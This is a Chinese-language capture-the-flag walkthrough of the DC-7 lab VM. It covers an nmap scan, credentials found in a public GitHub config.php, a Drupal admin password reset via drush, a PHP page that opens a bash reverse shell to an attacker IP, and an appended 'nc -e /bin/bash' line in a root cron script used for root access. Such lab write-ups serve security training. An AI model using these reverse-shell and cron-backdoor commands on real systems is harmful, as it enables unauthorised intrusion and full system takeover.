文章目录
- [1. 靶场搭建](#1. 靶场搭建)
- [2. 信息收集](#2. 信息收集)
-
- [2.1 确定靶机ip](#2.1 确定靶机ip)
- [2.2 服务信息收集](#2.2 服务信息收集)
- [2.3 社工信息收集](#2.3 社工信息收集)
- [3. 提权](#3. 提权)
1. 靶场搭建
检验下载文件的检验码,对比没问题使用vmware打开
bash
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
2. 信息收集
2.1 确定靶机ip
安装之后直接显示了靶机的ip。
2.2 服务信息收集
通过nmap探测靶机开放端口和端口对应服务
bash
nmap -Ap 1-65535 192.168.6.102
确定开放端口:
- 22:ssh服务
- 80: http服务,并且由apache服务器启动
2.3 社工信息收集
访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。
在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。
3. 提权
常见提权方法可参考我之前的文章常见提升权限方法
尝试SUID进行提权, 发现没有可利用的提权的文件
bash
# 查找设置suid标志的文件
find / -perm --4000 -type f
尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。
发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。
查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。
发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。
bash
# 查询与某个用户相关的进程
ps -fu www-data
查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址
```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
更改之后在wen页面登录成功。
bash
# 更改admin的密码
drush user-password admin --password=admin
进入后台管理,发现在新建内容可以新建Basic page
,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
在这个页面启用php拓展
新建basic-content添加如下内容,点击发布,成功获取到反弹sehll
php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
bash
# kali执行
nc -lvp 8888
bash
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'
拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。
bash
echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh
成功获取到root的shell,在root的家目录下成功获取到目标flag。